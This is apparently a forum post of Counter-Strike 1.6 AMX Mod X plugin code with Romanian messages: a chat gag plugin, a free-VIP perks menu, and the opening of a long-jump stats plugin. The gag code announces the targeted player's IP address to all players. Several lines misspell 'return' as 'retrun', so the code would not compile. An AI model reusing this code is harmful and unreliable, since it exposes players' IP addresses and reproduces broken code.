log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO]<%s><%s><%s> a luat AutoGag pentru ca a injurat sau a facut reclama!", GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
client_cmd( id, "speak ^"%s^"", gGaggedSound );
return PLUGIN_HANDLED;
}
}
}
return PLUGIN_CONTINUE;
}
public CommandGag( id )
{
if( !(get_user_flags( id ) & COMMAND_ACCESS ) )
{
client_cmd( id, "echo %s Nu ai acces la aceasta comanda!", get_tag( ) );
return 1;
}
if(!is_user_connected(id)) retrun PLUGIN_HANDLED
new szArg[ 32 ], szMinutes[ 32 ];
read_argv( 1, szArg, charsmax ( szArg ) );
new reason[ 32 ];
read_argv( 3, reason, sizeof reason - 1 );
copy( g_reason, 31, reason );
//copy( g_admin, 31, GetInfo( id, INFO_NAME ) );
//copy( g_minutes, 31, szMinutes );
//remove_quotes( reason );
if( equal( szArg, "" ) )
{
client_cmd( id, "echo amx_gag < nume > < minute > < motiv >!" );
return 1;
}
new iPlayer = cmd_target( id, szArg, 1 );
if( !iPlayer )
{
client_cmd( id, "echo %s Jucatorul specificat nu a fost gasit!", get_tag( ) );
return 1;
}
if(!is_user_connected(iPlayer)) retrun PLUGIN_HANDLED
if ( get_pcvar_num( gCvarAdminGag ) == 0 )
{
if ( is_user_admin( iPlayer ) )
{
client_cmd( id, "echo %s Nu poti da gag la Admini!", get_tag( ) );
return 1;
}
}
read_argv( 2, szMinutes, charsmax ( szMinutes ) );
new iMinutes = str_to_num( szMinutes );
if ( iMinutes > get_pcvar_num ( gCvarGagMinuteLimit ) )
{
console_print( id, "%s Ai setat %d minute, iar limita maxima de minute este %d! Setare automata pe %d.", get_tag( ), iMinutes, get_pcvar_float ( gCvarGagMinuteLimit ), get_pcvar_float ( gCvarGagMinuteLimit ) );
iMinutes = get_pcvar_num( gCvarGagMinuteLimit ) ;
}
get_user_name( iPlayer, szName, sizeof ( szName ) -1 );
szOldName[ iPlayer ] = szName;
if( PlayerGagged[ iPlayer ] == 1 )
{
client_cmd( id, "echo %s Jucatorul %s are deja Gag!", get_tag( ), GetInfo( iPlayer, INFO_NAME ) );
return 1;
}
if ( get_pcvar_num( gCvarTagName ) == 1 )
{
client_cmd( iPlayer, "name ^"%s %s^"", gGagTag, szName );
}
PlayerGagged[ iPlayer ] = 1;
PlayerGagTime[ iPlayer ] = iMinutes;
set_speak( iPlayer, SPEAK_MUTED );
ColorChat( 0, RED, "^4%s^1 ADMIN^4 %s:^1 Gag^3 %s^1(^3%s^1) pentru^4 %d^1 minute! Motiv^3 %s", get_tag( ), GetInfo( id, INFO_NAME ), GetInfo( iPlayer, INFO_NAME ), GetInfo( iPlayer, INFO_IP ), iMinutes, reason );
ColorChat( iPlayer, RED, "^4%s^1 Ai primit Gag pentru ca ai injurat sau ai facut reclama!", get_tag( ) );
ColorChat( iPlayer, RED, "^4%s^1 Nu mai poti folosi urmatoarele comenzi:^4 say^1,^4 say_team^1,^4 voice speak", get_tag( ) );
ColorChat( iPlayer, RED, "^4%s^1 Ai primit gag de la^3 %s^1 pentru^4 %d^1 minute! Motiv^3 %s", get_tag( ), GetInfo( id, INFO_NAME ), iMinutes, reason );
log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO-GAG]%s i-a dat gag lui <%s><%s><%s> pentru <%d> minute", GetInfo( id, INFO_NAME ), GetInfo( iPlayer, INFO_NAME ), GetInfo( iPlayer, INFO_IP ), GetInfo( iPlayer, INFO_AUTHID ), iMinutes );
client_cmd( iPlayer, "speak ^"%s^"", gGaggedSound );
return PLUGIN_HANDLED;
}
public CommandUngag( id )
{
if( !(get_user_flags( id ) & COMMAND_ACCESS ) )
{
client_cmd( id, "echo %s Nu ai acces la aceasta comanda!", get_tag( ) );
return 1;
}
if(!is_user_connected(id)) retrun PLUGIN_HANDLED
new szArg[ 32 ];
read_argv( 1, szArg, charsmax( szArg ) );
if( equal( szArg, "" ) )
{
client_cmd( id, "echo amx_ungag < nume > !" );
return 1;
}
new iPlayer = cmd_target ( id, szArg, 8 );
if( !iPlayer )
{
client_cmd( id, "echo %s Jucatorul specificat nu a fost gasit!", get_tag( ) );
return 1;
}
if(!is_user_connected(iPlayer)) retrun PLUGIN_HANDLED
if( PlayerGagged[ iPlayer ] == 0 )
{
console_print( id, "%s Jucatorul %s nu are Gag!", get_tag( ), GetInfo( iPlayer, INFO_NAME ) );
return 1;
}
if ( get_pcvar_num ( gCvarTagName ) == 1 )
{
client_cmd( iPlayer, "name ^"%s^"", szOldName[ iPlayer ] );
}
PlayerGagged[ iPlayer ] = 0;
PlayerGagTime[ iPlayer ] = 0;
set_speak( iPlayer, SPEAK_NORMAL );
ColorChat( 0, RED, "^4%s^1 ADMIN^4 %s:^1 Ungag^3 %s^1(^3%s^1|^3%s^1)", get_tag( ), GetInfo( id, INFO_NAME ), GetInfo( iPlayer, INFO_NAME ), GetInfo( iPlayer, INFO_IP ), GetInfo( iPlayer, INFO_AUTHID ) );
ColorChat( iPlayer, RED, "^4%s^1 Ai primit Ungag de la adminul: ^4%s^1, ai grija la limbaj data viitoare!", get_tag( ), GetInfo( id, INFO_NAME ) );
log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO-UNGAG]<%s> i-a dat ungag lui <%s><%s><%s>", GetInfo( id, INFO_NAME ), GetInfo( iPlayer, INFO_NAME ), GetInfo( iPlayer, INFO_IP ), GetInfo( iPlayer, INFO_AUTHID ) );
client_cmd( iPlayer, "speak ^"%s^"", gUnGaggedSound );
return PLUGIN_HANDLED;
}
public Forward_GagThinker( iEntity )
{
if ( pev_valid( iEntity ) )
{
set_pev( iEntity, pev_nextthink, get_gametime( ) + 1.0 ) ;
new id;
for ( id = 1; id <= gMaxPlayers; id++ )
{
if ( is_user_connected ( id )
&& ! is_user_bot( id )
&& PlayerGagged[ id ] == 1
&& PlayerGagTime[ id ] > 0
&& ( ( get_systime( ) - JoinTime[ id ] ) >= get_pcvar_num ( gCvarGagMinuteInSeconds ) ) )
{
JoinTime[ id ] = get_systime( );
PlayerGagTime[ id ] -= 1;
if ( PlayerGagTime[ id ] <= 0 )
{
PlayerGagTime[ id ] = 0;
PlayerGagged[ id ] = 0;
set_speak( id, SPEAK_NORMAL );
ColorChat( id, RED, "^4%s^3 Ai primit UnGag, ai grija la limbaj data viitoare!", get_tag( ) );
log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO-AUTOUNGAG]<%s> a primit AutoUnGag!", GetInfo( id, INFO_NAME ) );
client_cmd( id, "speak ^"%s^"", gUnGaggedSound );
client_cmd( id, "name ^"%s^"", szOldName[ id ] );
}
}
}
}
}
stock SaveGag( id )
{
gVault = nvault_open( gGagVaultName );
new szIp[ 40 ], szVaultKey[ 64 ], szVaultData[ 64 ];
get_user_ip( id, szIp, charsmax( szIp ) );
formatex( szVaultKey, charsmax( szVaultKey ), "%s-Gag", szIp );
formatex( szVaultData, charsmax( szVaultData ), "%i#%i", PlayerGagged[ id ], PlayerGagTime[ id ] );
nvault_set( gVault, szVaultKey, szVaultData );
nvault_close( gVault );
}
stock LoadGag( id )
{
gVault = nvault_open( gGagVaultName );
new szIp[ 40 ], szVaultKey[ 64 ], szVaultData[ 64 ];
get_user_ip( id, szIp, charsmax ( szIp ) );
formatex( szVaultKey, charsmax( szVaultKey ), "%s-Gag", szIp );
formatex( szVaultData, charsmax( szVaultData ), "%i#%i", PlayerGagged[ id ], PlayerGagTime[ id ] );
nvault_get( gVault, szVaultKey, szVaultData, charsmax ( szVaultData ) );
replace_all( szVaultData, charsmax( szVaultData ), "#", " " );
new iGagOn[ 32 ], iGagTime [ 32 ];
parse( szVaultData, iGagOn, charsmax ( iGagOn ), iGagTime, charsmax ( iGagTime ) );
PlayerGagged[ id ] = str_to_num ( iGagOn );
PlayerGagTime[ id ] = clamp ( str_to_num ( iGagTime ), 0, get_pcvar_num ( gCvarGagMinuteLimit ) );
nvault_close( gVault );
}
stock GagThinker( )
{
new iEntity = create_entity ( "info_target" );
if( ! pev_valid ( iEntity ) )
{
return PLUGIN_HANDLED;
}
set_pev ( iEntity, pev_classname, gGagThinkerClassname );
set_pev ( iEntity, pev_nextthink, get_gametime( ) + 1.0 );
return PLUGIN_HANDLED;
}
stock get_tag( )
{
new szTag [ 65 ];
get_pcvar_string( gCvarTag, szTag, sizeof ( szTag ) -1 );
return szTag;
}
stock GetInfo( id, const iInfo )
{
if(!is_user_connected(id)) retrun PLUGIN_HANDLED
new szInfoToReturn[ 64 ];
switch( iInfo )
{
case INFO_NAME:
{
new szName[ 32 ];
get_user_name( id, szName, sizeof ( szName ) -1 );
copy( szInfoToReturn, sizeof ( szInfoToReturn ) -1, szName );
}
case INFO_IP:
{
new szIp[ 32 ];
get_user_ip( id, szIp, sizeof ( szIp ) -1, 1 );
copy( szInfoToReturn, sizeof ( szInfoToReturn ) -1, szIp );
}
case INFO_AUTHID:
{
new szAuthId[ 35 ];
get_user_authid( id, szAuthId, sizeof ( szAuthId ) -1 );
copy( szInfoToReturn, sizeof ( szInfoToReturn ) -1, szAuthId );
}
}
return szInfoToReturn;
}
stock bool:UTIL_IsValidMessage( const szSaid[ ] )
{
new iLen = strlen( szSaid );
if( !iLen )
{
return false;
}
for( new i = 0; i < iLen; i++ )
{
if( szSaid[ i ] != ' ' )
{
return true;
}
}
return false;
}
stock chat_color(const id, const input[], any:...)
{
new count = 1, players[32]
static msg[191]
vformat(msg, 190, input, 3)
replace_all(msg, 190, ".v", "^4")
replace_all(msg, 190, ".g", "^1")
replace_all(msg, 190, ".e", "^3")
if (id) players[0] = id; else get_players(players, count, "ch")
{
for (new i = 0; i < count; i++)
{
if (is_user_connected(players[i]))
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
write_byte(players[i]);
write_string(msg);
message_end();
}
}
}
}
stock ham_strip_user_weapon(id, iCswId, iSlot = 0, bool:bSwitchIfActive = true)
{
new iWeapon;
if(!iSlot)
{
static const iWeaponsSlots[] = {
-1,
2, //CSW_P228
-1,
1, //CSW_SCOUT
4, //CSW_HEGRENADE
1, //CSW_XM1014
5, //CSW_C4
1, //CSW_MAC10
1, //CSW_AUG
4, //CSW_SMOKEGRENADE
2, //CSW_ELITE
2, //CSW_FIVESEVEN
1, //CSW_UMP45
1, //CSW_SG550
1, //CSW_GALIL
1, //CSW_FAMAS
2, //CSW_USP
2, //CSW_GLOCK18
1, //CSW_AWP
1, //CSW_MP5NAVY
1, //CSW_M249
1, //CSW_M3
1, //CSW_M4A1
1, //CSW_TMP
1, //CSW_G3SG1
4, //CSW_FLASHBANG
2, //CSW_DEAGLE
1, //CSW_SG552
1, //CSW_AK47
3, //CSW_KNIFE
1 //CSW_P90
}
iSlot = iWeaponsSlots[iCswId];
}
const XTRA_OFS_PLAYER = 5;
const m_rgpPlayerItems_Slot0 = 367;
iWeapon = get_pdata_cbase(id, m_rgpPlayerItems_Slot0 + iSlot, XTRA_OFS_PLAYER);
const XTRA_OFS_WEAPON = 4;
const m_pNext = 42;
const m_iId = 43;
while(iWeapon > 0)
{
if(get_pdata_int(iWeapon, m_iId, XTRA_OFS_WEAPON) == iCswId)
{
break;
}
iWeapon = get_pdata_cbase(iWeapon, m_pNext, XTRA_OFS_WEAPON);
}
if(iWeapon > 0)
{
const m_pActiveItem = 373;
if(bSwitchIfActive && get_pdata_cbase(id, m_pActiveItem, XTRA_OFS_PLAYER) == iWeapon)
{
ExecuteHamB(Ham_Weapon_RetireWeapon, iWeapon);
}
if(ExecuteHamB(Ham_RemovePlayerItem, id, iWeapon))
{
user_has_weapon(id, iCswId, 0);
ExecuteHamB(Ham_Item_Kill, iWeapon);
return 1;
}
}
return 0;
}
stock chat_colorx( const id, const input[ ], any:... )
{
new count = 1, players[ 32 ]
static msg[ 191 ]
vformat( msg, 190, input, 3 )
replace_all( msg, 190, "!g", "^4" )
replace_all( msg, 190, "!n", "^1" )
replace_all( msg, 190, "!t", "^3" )
replace_all( msg, 190, "!t2", "^0" )
if( id ) players[ 0 ] = id
else
get_players( players, count, "ch" )
{
for( new i = 0; i < count; i++ )
{
if( is_user_connected( players[ i ] ) )
{
message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )
write_byte( players[ i ] )
write_string( msg )
message_end( )
}
}
}
}
//#pragma semicolon 1
free-vip
Code: Select all
// LAST EDIT ON - 05.04.2019 & 20:27
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <fun>
#include <hamsandwich>
//#include <colorchat>
new bool:vip_free,bool:has_godmode[33],bool:has_gravity[33],bool:has_speed[33],Float:Gravity
const KEYSMENU = MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5|MENU_KEY_6|MENU_KEY_7|MENU_KEY_8|MENU_KEY_9|MENU_KEY_0
//new scout[33]=0
public plugin_init()
{
check_time( )
set_task( 10.0, "check_time", _, _, _, "b" )
register_menu("Game Menu", KEYSMENU, "radio")
register_event("CurWeapon" , "CWeapon" , "be" , "1=1" );
RegisterHam( Ham_Spawn, "player", "ham_SpawnPlayerPost", true );
//register_logevent ( "round_start", 2, "1=Round_Start" );
}
public client_disconnected(id)
{
//scout[id]=0
has_speed[id]=false
has_godmode[id]=false
has_gravity[id]=false
}
public check_time( )
{
new o, m, s;
time(o, m, s)
if( o >= 18 && o <= 24 )
{
if( !vip_free )
{
xCoLoR(0, "!v[!nFREE-VIP!v]!n Fiind trecut de ora!e 18:00!n, toti jucatorii conectati au primit acces!v *V.I.P*!n, pana la ora!e 00:00!n !");
}
vip_free = true;
//server_cmd( "amx_default_access ^"bt^"" );
//server_cmd( "amx_reloadadmins" );
}
else
{
if( vip_free )
{
xCoLoR(0, "!v[!nFREE-VIP!v]!n Fiind trecut de ora!e 00:00!n, eventul!v *V.I.P*!n, a luat!e Sfarsit!n, si va reincepe la ora!v 18:00!n !");
}
vip_free = false;
//server_cmd( "amx_default_access ^"z^"" );
//server_cmd( "amx_reloadadmins" );
}
}
/*public round_start ( )
{
new iPlayers [ 32 ], iNum, i;
get_players ( iPlayers, iNum, "ch" );
if ( !iNum ) return;
for ( i = 0; i < iNum; i++ )
{
new id = iPlayers [ i ];
if ( scout[ id ] > 0 )
{
scout [ id ]--;
}
else if ( scout[ id ] > 3 )
{
scout [ id ] = 0;
}
}
}*/
public ham_SpawnPlayerPost(id)
{
if(vip_free&&is_user_alive(id))
{
has_godmode[id]=false
has_gravity[id]=false
has_speed[id]=false
ShowMenu(id)
}
}
public ShowMenu(id)
{
static menu[512], len
len = 0
// new len = formatex( menu, 255, "\r[\yHNS.PLAY-ARENA.RO\r] \w- Invizibilitate \y[\rFPS\y]^n^n" );
len += formatex(menu[len], charsmax(menu) - len, "\w[\r HNS.PLAY-ARENA.RO\w -\r FREE V.I.P \w]^n^n")
//len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w1\r]\w -\r Scout [\w3\r] [\wGL\r]^n")
len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w1\r]\w -\r GodMode [\w5\r] [\wSEC\r]^n")
len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w2\r]\w -\r Gravity [\w400\r] [\w30\r] [\wSEC\r]^n")
len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w3\r]\w -\r Speed [\w300\r] [\w30\r] [\wSEC\r]^n")
len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w4\r]\w -\r Medic [\w15$\r]^n^n")
/*len += formatex( menu[len], 255 - len, "^n\r0. \yIesire" );
show_menu( id, ( 1<<0 | 1<<1 | 1<<9 ), menu, -1 );*/
show_menu(id, KEYSMENU, menu, -1, "Game Menu")
return 1;
}
public radio ( id , key )
{
switch ( key )
{
/*case 0:
{
if(!is_user_alive(id))
{
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
return PLUGIN_HANDLED
}
if ( scout [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 SCOUT^x01-ul odata la^x04 2^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", scout [ id ], scout [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
else
{
give_item(id,"weapon_scout")
new eNtry = find_ent_by_owner ( -1, "weapon_scout", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 3 );
}
scout[id]=3
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!e Scout!n cu!v 3GL")
}
}*/
case 0:
{
if(!is_user_alive(id))
{
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
return PLUGIN_HANDLED
}
if(has_godmode[id])
{
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai deja!e GodMode")
return PLUGIN_HANDLED
}
else
{
has_godmode[id]=true
set_user_godmode(id,1)
set_task(5.0,"REMOVE_GODMODE",id)
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!g GodMode!n pentru!v 5 Secunde")
}
}
case 1:
{
if(!is_user_alive(id))
{
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
return PLUGIN_HANDLED
}
if(has_gravity[id])
{
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai deja!e Gravitiatie")
return PLUGIN_HANDLED
}
else
{
has_gravity[id]=true
Gravity=400.0/500.0
set_user_gravity(id,Gravity)
set_task(30.0,"REMOVE_GRAVITY",id)
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!e Gravitatie!n pentru!v 30 Secunde")
}
}
case 2:
{
if(!is_user_alive(id))
{
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
return PLUGIN_HANDLED
}
if(has_speed[id])
{
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai deja!e Speed")
return PLUGIN_HANDLED
}
else
{
has_speed[id]=true
set_user_maxspeed(id,300.0)
set_task(30.0,"REMOVE_SPEED",id)
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!e Speed!n pentru!v 30 Secunde")
}
}
case 3:
{
if(!is_user_alive(id))
{
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
return PLUGIN_HANDLED
}
cs_set_user_money(id,cs_get_user_money(id)+15)
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!e +15!v$!n pentru!e Medic!n !")
}
}
return 1;
}
public CWeapon(id)
{
if(is_user_alive(id))
{
Gravity=400.0/500.0
if(get_user_weapon(id))
{
if(has_gravity[id]) set_user_gravity(id,Gravity)
if(has_speed[id]) set_user_maxspeed(id,300.0)
}
}
}
public REMOVE_GRAVITY(id)
{
if(is_user_connected(id)&&has_gravity[id])
{
has_gravity[id]=false
remove_task(id)
set_user_gravity(id,1.0)
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Tocmai ti-a expirat!e Gravitatia")
}
}
public REMOVE_SPEED(id)
{
if(is_user_connected(id)&&has_speed[id])
{
has_speed[id]=false
remove_task(id)
set_user_maxspeed(id,250.0)
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Tocmai ti-a expirat!e Viteza")
}
}
public REMOVE_GODMODE(id)
{
if(is_user_connected(id)&&has_godmode[id])
{
has_godmode[id]=false
remove_task(id)
set_user_godmode(id)
xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Tocmai ti-a expirat!e GodMode-ul")
}
}
stock xCoLoR( const id, const input[ ], any:... )
{
new count = 1, players[ 32 ];
static msg[ 191 ];
vformat( msg, 190, input, 3 );
replace_all( msg, 190, "!v", "^4" );
replace_all( msg, 190, "!n", "^1" );
replace_all( msg, 190, "!e", "^3" );
replace_all( msg, 190, "!e2", "^0" );
if( id )
{
players[ 0 ] = id;
}
else get_players( players, count, "c" );
for( new i = 0; i < count; i++ )
{
if( is_user_connected( players[ i ] ) )
{
message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] );
write_byte( players[ i ] );
write_string( msg );
message_end( );
}
}
}
un cod fixat
Code: Select all
#include <amxmodx>
#include <amxmisc>
#include <colorchat>
#include <fakemeta>
#include <engine>
#include <fakemeta_util>
#pragma semicolon 1
#define COMMAND_PROTECTION
#define JOKES
#define INFO_ONE 1
#define INFO_ZERO 0
#define NSTRAFES 14
#define NTOP 23
#define NSHOW 10
#define MAPSHOW 4 // show first 3
//enums
#define TYPE_NONE 0
#define TYPE_LJ 1
#define TYPE_CJ 2
#define TYPE_BJ 3
#define TYPE_HJ 4
#define TYPE_FEJ 5 //fireEscape jump
#define TYPE_LaJ 5 //ladder jump
#define TYPE_SBJ 6 //stand-up bhop
#define TYPE_WJ 7 //weird jump
#define TYPE_LCHJ 10 //Lj && Cj && Hj
#define TYPE_SBBJ 20 //Bj && SBJ
#define DIST_LEET 1
#define DIST_PRO 2
#define DIST_GOOD 3
#define DIST_GOD 4
#define TOP_MAP 0
#define TOP_LJ 1
#define TOP_CJ 2
#define TOP_BJ 3
#define TOP_SBJ 4
#define TOP_HJ 5
#define TOP_FEJ 6
#define TOP_LaJ 6
#define TOP_WJ 7
//Iterator
new jj;
//For PreThink
new Float:weapSpeed[33];
new Float:weapSpeedOld[33];
new strLen;
new strMess[40*NSTRAFES];
new strMessBuf[40*NSTRAFES];
new goodSyncTemp;
new badSyncTemp;
new Float:time_;
new Float:maxPreSpeedWeapon;
new Float:maxBhopPreSpeedWeap;
new Float:Fulltime;
new ljStatsRed;
new ljStatsGreen;
new ljStatsBlue;
new ljs_beam;
new sync_;
// Ints & strings
new server_settings[34][27][16];
new plugin_id;
new plugin_file_name[64];
new pluginstatus;
new gBeam;
new jumptype[33];
//new vJumpedAtEnt[33];
new strafes[33];
new ljsDir[64];
new pre_type[33][32];
new top_names[NTOP][129];
//new top_authid[NTOP][33];
new top_distance[NTOP];
new top_maxspeed[NTOP];
new top_prestrafe[NTOP];
new top_strafes[NTOP];
new top_sync[NTOP];
new top_type[NTOP][5];
new top_pretype[NTOP][32];
new map_names[NSHOW][129];
new map_authid[NSHOW][33];
new map_distance[NSHOW];
new map_maxspeed[NSHOW];
new map_prestrafe[NSHOW];
new map_strafes[NSHOW];
new map_sync[NSHOW];
new map_type[NSHOW][5];
new map_pretype[NSHOW][32];
new cj_names[NTOP][129];
new cj_authid[NTOP][33];
new cj_distance[NTOP];
new cj_maxspeed[NTOP];
new cj_prestrafe[NTOP];
new cj_strafes[NTOP];
new cj_sync[NTOP];
new cj_pretype[NTOP][32];
new bj_names[NTOP][129];
new bj_authid[NTOP][33];
new bj_distance[NTOP];
new bj_maxspeed[NTOP];
new bj_prestrafe[NTOP];
new bj_strafes[NTOP];
new bj_sync[NTOP];
new bj_pretype[NTOP][32];
new sbj_names[NTOP][129];
new sbj_authid[NTOP][33];
new sbj_distance[NTOP];
new sbj_maxspeed[NTOP];
new sbj_prestrafe[NTOP];
new sbj_strafes[NTOP];
new sbj_sync[NTOP];
new sbj_pretype[NTOP][32];
new wj_names[NTOP][129];
new wj_authid[NTOP][33];
new wj_distance[NTOP];
new wj_maxspeed[NTOP];
new wj_prestrafe[NTOP];
new wj_strafes[NTOP];
new wj_sync[NTOP];
new wj_pretype[NTOP][32];
new lj_names[NTOP][129];
new lj_authid[NTOP][33];
new lj_distance[NTOP];
new lj_maxspeed[NTOP];
new lj_prestrafe[NTOP];
new lj_strafes[NTOP];
new lj_sync[NTOP];
new lj_pretype[NTOP][32];
new view_names[33][NSHOW][129];
new view_distance[33][NSHOW];
new view_maxspeed[33][NSHOW];
new view_prestrafe[33][NSHOW];
new view_strafes[33][NSHOW];
new view_sync[33][NSHOW];
new view_type[33][NSHOW][5];
new view_pretype[33][NSHOW][32];
new full_top_stats_selected_type[33];
new full_top_stats_selected_page[33];
new strafe_stat_sync[33][NSTRAFES][2]; // 0=good 1=bad
new buttons;
new strafecounter_oldbuttons[33];
// Bools
new bool:bljhelp[33];
new bool:StrafeStat[33];
new bool:fallDown[33];
new bool:possible_lj_script[33][2];
new bool:tops_save;
new bool:gHasColorChat[33];
new bool:gHasSpeed[33];
new bool:gHasLjStats[33];
new bool:testBhop[33];
new bool:gInAir[33];
new bool:isBhop[33];
new bool:cjumped[33];
new bool:doubleducked[33];
new bool:cducked[33];
new bool:induck[33];
new bool:OnGround[33];
new bool:turning_right[33];
new bool:turning_left[33];
new bool:strafing_aw[33];
new bool:strafing_sd[33];
new bool:bljbeam[33];
// Floats
new Float:fMaxGroundBhopSpeed[33];
new Float:ljhel[33][3];
new Float:strafe_stat_time[33][NSTRAFES]; //[id][#of strafes for stat][goodStat/Badstat] (of speed)
new Float:strafe_stat_speed[33][NSTRAFES][2]; //[id][#of strafes for stat][goodStat/Badstat] (of speed)
new Float:TempSpeed[33];
new Float:vBeamPos[33][129][3];
new Float:vBeamPosStatus[33][129];
new Float:vBeamTime[33][129];
new Float:vBeamLastTime[33];
new Float:old_angle1[33];
new Float:angle[3];
new Float:vFramePos[33][2][3];
new Float:vFrameSpeed[33][2][3];
new Float:vDuckedAt[33][3];
new Float:vFallAt[33][3];
new Float:vJumpedAt[33][3];
new Float:vJumpedAt2[3];
new Float:xDistance;
new Float:yDistance;
new Float:fDistance;
new Float:fDistance1;
new Float:fDistance2;
new Float:rDistance[3];
new Float:rLandPos[3];
new Float:vOrigin[3];
new Float:vLastFrameOrigin[33][3];
//new Float:vLastFrameVelocity[33][3];
new Float:vOldOrigin[33][3];
//new Float:vOldOrigin2[33];
new Float:vTraceEnd[3];
new Float:fMaxAirSpeed[33];
new Float:fMaxGroundSpeed[33];
new Float:fCjPreSpeed[33];
new Float:vVelocity[3];
//new Float:realDist[33];
new Float:fSpeed;
new Float:gSpeed;
//new Float:OldOldSpeed[33];
//new Float:OldSpeed[33];
new Float:frame2time;
new Float:jumptime[33];
new Float:lasttime[33];
new Float:beam_jump_off_time[33];
// Plugin strings
new const gPLUGIN[] = "LjS - eXtreme Mod";
new const gVERSION[] = "2.2b7 Lt.RAT`s & .tv!X^^ edition v4 bl";
new const gVERSION_NUM[] = "22007";
new const gAUTHOR[] = "Lt.RAT & .tv!X^^ ";
// Cvars
new kz_ljs_enabled;
//new kz_good_lj;
//new kz_pro_lj;
//new kz_leet_lj;
new kz_min_lj;
new kz_min_lj_c;
new kz_max_lj;
new kz_cj_dif;
new kz_lj_sounds;
new kz_leet_lj_clr;
new kz_pro_lj_clr;
new kz_good_lj_clr;
new kz_leet_cj_clr;
new kz_pro_cj_clr;
new kz_good_cj_clr;
new kz_ljstats_red;
new kz_ljstats_green;
new kz_ljstats_blue;
new kz_ljs_beam;
new kz_legal_settings;
new kz_ljs_fastserver;
//new kz_ljs_autoserver;
new kz_ljs_speedtype;
new kz_ljs_connectenabler;
new kz_ljs_viscmds;
new kz_ljs_tops;
new kz_ljs_topsave;
new kz_ljs_rank_by;
new kz_ljs_maptop;
new kz_min_bhop;
new kz_min_bhop_c;
new edgefriction;
new mp_footsteps;
new sv_cheats;
new sv_gravity;
new sv_maxspeed;
new sv_stepsize;
new sv_maxvelocity;
//new sv_lan;
public plugin_init()
{
if( tops_save )
read_tops();
new s_plugin_id[32], filename[255];
format(s_plugin_id, 31, "%d", plugin_id);
format(filename, 254, "%s/ljs_plugin_info.txt", ljsDir);
if( file_exists(filename) )
delete_file(filename);
write_file(filename, gVERSION_NUM);
write_file(filename, s_plugin_id);
write_file(filename, plugin_file_name);
write_file(filename, gPLUGIN);
write_file(filename, gVERSION);
write_file(filename, gAUTHOR);
}
public plugin_start()
{
plugin_id = register_plugin(gPLUGIN, gVERSION, gAUTHOR);
register_cvar("LongJumpStats", gVERSION, FCVAR_SERVER);
register_dictionary("common.txt");
register_forward(FM_ShouldCollide, "fwdTouch", 1);
register_forward(FM_Touch, "fwdTouch", 1);
register_forward(FM_PlayerPreThink, "fwdPlayerPreThink", 0);
register_forward(FM_PlayerPostThink, "fwdPlayerPostThink", 0);
register_forward(FM_StartFrame, "fwdStartFrame", 0);
register_forward(FM_CmdStart, "fwdCmdStart");
kz_ljs_enabled = register_cvar("kz_ljs_enabled", "1"); // enables/disables the plugin
//kz_good_lj = register_cvar("kz_good_lj", "240.0"); // good longjumps
//kz_pro_lj = register_cvar("kz_pro_lj", "245.0"); // professional longjumps
//kz_leet_lj = register_cvar("kz_leet_lj", "250.0"); // leet longjump
kz_min_lj = register_cvar("kz_min_lj", "215.0"); // minimal longjump
kz_min_lj_c = register_cvar("kz_min_lj_c", "230.0"); // minimal longjump to see
kz_min_bhop = register_cvar("kz_min_bhop", "210.0"); // minimal bhop
kz_min_bhop_c = register_cvar("kz_min_bhop_c", "220.0"); // minimal bhop
kz_max_lj = register_cvar("kz_max_lj", "260.0"); // maximal longjump
kz_cj_dif = register_cvar("kz_cj_dif", "10.0"); // difrence between lj and cj
kz_lj_sounds = register_cvar("kz_lj_sounds", "1"); // enables leet/pro/good lj/cj sounds
kz_leet_lj_clr = register_cvar("kz_leet_lj_clr", "1"); // color of leet lj (1=red, 2=green, 3=blue, 4=gray, 5=team, 0=default)
kz_pro_lj_clr = register_cvar("kz_pro_lj_clr", "2"); // color of pro lj
kz_good_lj_clr = register_cvar("kz_good_lj_clr", "4"); // color of good lj
kz_leet_cj_clr = register_cvar("kz_leet_cj_clr", "1"); // color of leet lj
kz_pro_cj_clr = register_cvar("kz_pro_cj_clr", "2"); // color of pro lj
kz_good_cj_clr = register_cvar("kz_good_cj_clr", "4"); // color of good lj
kz_ljstats_red = register_cvar("kz_ljstats_red", "0"); // red color of /ljstats
kz_ljstats_green = register_cvar("kz_ljstats_green", "180"); // green color of /ljstats
